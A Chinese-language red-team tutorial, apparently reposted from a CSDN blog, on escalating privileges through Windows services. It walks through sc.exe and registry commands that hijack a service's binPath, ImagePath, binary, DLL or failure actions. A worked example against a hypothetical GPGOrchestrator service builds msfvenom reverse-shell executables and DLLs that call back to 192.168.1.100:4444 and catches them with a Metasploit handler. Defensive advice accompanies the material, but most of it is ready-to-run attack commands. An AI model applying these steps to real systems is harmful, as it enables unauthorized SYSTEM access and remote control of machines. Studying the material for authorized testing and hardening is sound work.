// 红队渗透 · 2025-01-29

Windows提权之服务提权【详细】

本文将深入剖析Windows服务提权的原理,结合具体场景和操作步骤,详细讲解如何利用服务漏洞实现权限提升,同时提供防御建议,帮助读者更好地理解和应对此类攻击。如果您有任何建议或疑问,欢迎留言交流,共同提升技术水平!😊


Windows服务提权概述

在Windows操作系统中,服务(Service)是一种特殊的后台进程,通常在系统启动时自动运行,具备较高的权限级别(如SYSTEM或Administrator)。这些服务通过注册表进行配置,依赖特定的文件路径加载程序或动态链接库(DLL)。由于服务的高权限特性,它们成为攻击者实现权限提升(Privilege Escalation)的理想目标。

当服务的创建、配置或运行过程存在安全漏洞时,攻击者可以通过以下方式实现提权:

  1. 创建新服务并指向恶意程序。
  2. 修改现有服务配置,如更改执行路径或参数。
  3. 替换服务依赖的二进制文件或DLL。
  4. 利用注册表配置错误,劫持服务行为。
  5. 利用服务失败重启机制,触发恶意代码执行。

攻击的核心在于利用服务的高权限特性,执行恶意代码,从而将攻击者的权限从普通用户提升至管理员或SYSTEM级别。


Windows服务提权的原理

Windows服务的运行依赖于服务控制管理器(Service Control Manager, SCM),SCM通过注册表(如HKLM\SYSTEM\CurrentControlSet\Services)存储服务的配置信息,包括服务的可执行文件路径(ImagePath)、启动类型(Start)等。服务的运行权限通常由LocalSystem账户控制,这是Windows中权限最高的账户之一。

服务提权的原理可以总结为以下几点:

  1. 高权限执行:服务通常以SYSTEM权限运行,攻击者通过控制服务执行的代码,可直接获取SYSTEM权限。
  2. 配置漏洞:服务配置(如文件路径、注册表项)若未正确限制访问权限,攻击者可修改为恶意代码路径。
  3. 文件权限问题:服务依赖的二进制文件或DLL若存储在可写目录,攻击者可替换为恶意文件。
  4. DLL劫持:服务加载未正确指定的DLL时,攻击者可通过路径优先级植入恶意DLL。
  5. 失败恢复机制:服务的自动重启功能可被配置为执行恶意程序。

通过这些方式,攻击者能够利用服务的正常运行机制,悄无声息地提升权限。


常见的提权场景及实现方法

以下是Windows服务提权的五种常见场景,结合具体操作步骤和关键点分析,帮助读者理解其实施过程。

场景1:用户拥有配置服务的特权

在某些环境中,用户可能被授予管理服务的权限(如SeServiceLogonRight),但未具备管理员权限。攻击者可利用这一特权通过命令行工具(如sc.exe)或PowerShell创建或修改服务,执行恶意程序以实现提权。

操作步骤

  1. 创建恶意服务: 使用sc.exe创建一个指向恶意程序的服务:

    sc.exe create MaliciousService binPath= "C:\Path\To\Payload.exe" start= auto
    • binPath指定恶意程序路径。
    • start= auto确保服务在系统启动时自动运行。
  2. 启动服务:

    sc.exe start MaliciousService

    服务启动后,Payload.exe将以SYSTEM权限运行。

  3. 验证提权: 检查当前权限是否提升为SYSTEM(如通过whoami命令)。

关键点分析

  • 攻击者需具备“配置服务”特权,通常由组策略或权限分配不当导致。
  • 适用于权限管理松散的环境,如企业内网中配置不当的终端。
  • 防御建议:限制普通用户的服务管理权限,定期审计用户特权。

场景2:修改现有服务的配置

当攻击者无法创建新服务,但能修改现有服务的配置时,可通过更改服务的binPath(可执行文件路径)将合法服务劫持为恶意服务。

操作步骤

  1. 查询现有服务: 使用以下命令列出系统中所有服务:

    sc.exe query
  2. 查看服务详细信息: 检查目标服务的配置信息:

    sc.exe qc LegitService

    确认服务是否以SYSTEM权限运行。

  3. 修改服务路径: 将服务的可执行文件路径改为恶意程序:

    sc.exe config LegitService binPath= "C:\Path\To\Payload.exe"
  4. 启动服务:

    sc.exe start LegitService

关键点分析

  • 此方法利用服务配置的不安全性,无需创建新服务,隐蔽性较高。
  • 攻击者需对服务配置有写权限,通常由不当的ACL(访问控制列表)配置导致。
  • 防御建议:锁定服务配置权限,使用组策略限制sc.exe的执行。

场景3:劫持服务的二进制文件或DLL

某些服务在运行时需加载特定的二进制文件或DLL,若这些文件路径未受严格保护,攻击者可替换为恶意文件,服务启动时将自动加载并执行。

操作步骤

  1. 查询服务二进制路径: 检查服务的可执行文件路径:

    sc.exe qc TargetService
  2. 检查文件权限: 使用icacls查看目标文件路径的权限:

    icacls "C:\Path\To\ServiceBinary"

    如果普通用户对路径有写权限,则可进行替换。

  3. 替换文件: 将合法文件替换为恶意程序或DLL:

    copy C:\Temp\Payload.exe "C:\Path\To\ServiceBinary"
  4. 重启服务:

    sc.exe start TargetService

关键点分析

  • 攻击成功的前提是服务依赖文件路径对攻击者可写。
  • DLL劫持可通过未定义路径变量或加载顺序实现,需结合工具(如Process Monitor)分析。
  • 防御建议:确保服务文件存储在只读目录,启用DLL签名验证。

场景4:利用注册表配置错误

Windows服务的配置信息存储在注册表(如HKLM\SYSTEM\CurrentControlSet\Services),若注册表项权限配置不当,攻击者可修改关键参数(如ImagePath),实现服务劫持。

操作步骤

  1. 查询服务注册表路径:

    reg query "HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>"
  2. 查看ImagePath配置:

    reg query "HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>" /v ImagePath
  3. 修改注册表项: 将服务路径改为恶意程序:

    reg add "HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>" /v ImagePath /t REG_EXPAND_SZ /d "C:\Path\To\Payload.exe" /f
  4. 启动服务:

    sc.exe start <ServiceName>

关键点分析

  • 注册表配置错误通常由管理员未限制访问权限导致。
  • 攻击者可通过修改ImagePath完全控制服务行为。
  • 防御建议:限制注册表项的写权限,使用安全基线加固注册表。

场景5:利用服务失败重启机制

Windows服务支持失败后自动重启的功能,攻击者可修改服务的FailureActions配置,使其在失败时执行恶意程序。

操作步骤

  1. 查询服务失败配置:

    sc.exe qfailure <ServiceName>
  2. 修改失败动作: 配置服务失败后执行恶意程序:

    sc.exe failure <ServiceName> reset= 0 actions= run/6000/run/1000
    sc.exe failure <ServiceName> command= "C:\Path\To\Payload.exe"
  3. 触发服务失败: 强制停止服务以触发重启:

    sc.exe stop <ServiceName>

关键点分析

  • 利用服务的自动恢复机制,攻击隐蔽性强。
  • 适用于服务频繁重启或易触发失败的场景。
  • 防御建议:审查服务失败配置,禁用不必要的自动重启。

具体实现案例

以下以一个假设的服务GPGOrchestrator为例,展示三种常见的服务提权方法:服务配置修改、文件覆盖和DLL劫持。这些方法结合实际工具(如Metasploit和Msfvenom),演示如何生成恶意负载并实现提权。

方法1:服务配置修改

场景假设

  • 攻击者拥有AllAccess权限,可修改GPGOrchestrator服务的配置。
  • 服务以SYSTEM权限运行,启动类型为Auto。

操作步骤

  1. 生成恶意负载: 使用Msfvenom生成一个反弹Shell的可执行文件:

    msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o C:\Windows\Temp\evil.exe
  2. 检查服务权限: 确认服务以SYSTEM权限运行:

    sc qc GPGOrchestrator

    输出应显示SERVICE_START_NAME: LocalSystem。

  3. 修改服务配置: 将服务路径指向恶意程序:

    sc config GPGOrchestrator binPath= "C:\Windows\Temp\evil.exe"
  4. 重启服务:

    net stop GPGOrchestrator
    net start GPGOrchestrator
  5. 接收反弹Shell: 在攻击机上使用Metasploit监听:

    msfconsole
    use exploit/multi/handler
    set PAYLOAD windows/shell_reverse_tcp
    set LHOST 192.168.1.100
    set LPORT 4444
    exploit

    成功后,获得SYSTEM权限的Shell。

关键点分析

  • 确保binPath路径正确,避免语法错误。
  • 若服务无法手动重启,可等待系统重启触发。

方法2:文件覆盖

场景假设

  • C:\Program Files\MilleGPG5\GPGService.exe对Users组可写。
  • 服务以SYSTEM权限运行。

操作步骤

  1. 备份原始文件: 为避免破坏系统,备份服务文件:

    copy "C:\Program Files\MilleGPG5\GPGService.exe" "C:\Program Files\MilleGPG5\GPGService.bak"
  2. 生成恶意负载: 同方法1,生成evil.exe。

  3. 替换服务文件:

    copy C:\Temp\evil.exe "C:\Program Files\MilleGPG5\GPGService.exe"
  4. 触发执行: 重启服务或等待系统重启:

    net stop GPGOrchestrator
    net start GPGOrchestrator
  5. 接收反弹Shell: 同方法1,使用Metasploit接收Shell。

关键点分析

  • 文件替换需谨慎,避免破坏系统稳定性。
  • 防御建议:将服务文件存储在只读目录,定期检查文件完整性。

方法3:DLL劫持

场景假设

  • C:\Program Files\MilleGPG5目录对Users组可写。
  • 服务加载目录中的DLL(如version.dll)。

操作步骤

  1. 识别DLL加载: 使用Process Monitor分析服务加载的DLL:

    procmon /Filter "Process Name is GPGService.exe" /Filter "Operation is CreateFile"
  2. 生成恶意DLL: 使用Msfvenom生成反弹Shell DLL:

    msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o C:\Temp\evil.dll
  3. 植入DLL:

    copy C:\Temp\evil.dll "C:\Program Files\MilleGPG5\version.dll"
  4. 触发DLL加载: 重启服务或系统:

    net stop GPGOrchestrator
    net start GPGOrchestrator
  5. 接收反弹Shell: 同方法1,使用Metasploit接收Shell。

关键点分析

  • DLL劫持需准确识别服务加载的DLL名称和路径。
  • 防御建议:启用DLL安全加载机制,限制目录写权限。

服务提权常用命令

以下是Windows服务提权中常用的sc.exe命令,供快速参考:

  • 查看所有服务状态:

    sc query
  • 查看特定服务状态:

    sc query <ServiceName>
  • 查看服务配置:

    sc qc <ServiceName>
  • 启动服务:

    sc start <ServiceName>
  • 停止服务:

    sc stop <ServiceName>
  • 删除服务:

    sc delete <ServiceName>

防御Windows服务提权的建议

为了防止服务提权攻击,系统管理员应采取以下措施:

  1. 权限最小化:

    • 限制普通用户的服务管理权限,避免授予SeServiceLogonRight。
    • 使用组策略限制sc.exe和注册表编辑工具的执行。
  2. 文件和目录保护:

    • 将服务文件存储在只读目录,确保普通用户无写权限。
    • 使用icacls或PowerShell定期审计关键目录的ACL。
  3. 注册表加固:

    • 限制HKLM\SYSTEM\CurrentControlSet\Services的写权限。
    • 使用Windows安全基线工具(如Microsoft Security Compliance Toolkit)加固注册表。
  4. DLL安全加载:

    • 启用SafeDLLSearchMode,防止DLL劫持。
    • 要求服务加载的DLL具有数字签名。
  5. 服务配置审查:

    • 定期检查服务的binPath和FailureActions配置。
    • 禁用不必要的服务,减少攻击面。
  6. 监控与审计:

    • 使用SIEM系统监控服务创建和修改事件。
    • 启用Windows事件日志,记录服务相关操作。

总结

Windows服务提权是一种高效且隐蔽的权限提升技术,广泛应用于渗透测试和红队评估中。通过创建新服务、修改服务配置、替换二进制文件、劫持DLL或利用注册表漏洞,攻击者能够利用服务的高权限特性执行恶意代码。在实际攻击中,需结合环境权限、服务配置和文件路径等信息,选择最适合的提权方法。

对于防御者而言,理解服务提权的原理和实现方式是加固系统的关键。通过权限最小化、文件保护、注册表加固和监控审计等措施,可以有效降低服务提权的风险。希望本文能为读者提供实用的技术参考,助力网络安全领域的学习与实践!

原文 https://blog.csdn.net/2301_79518550/article/details/145393639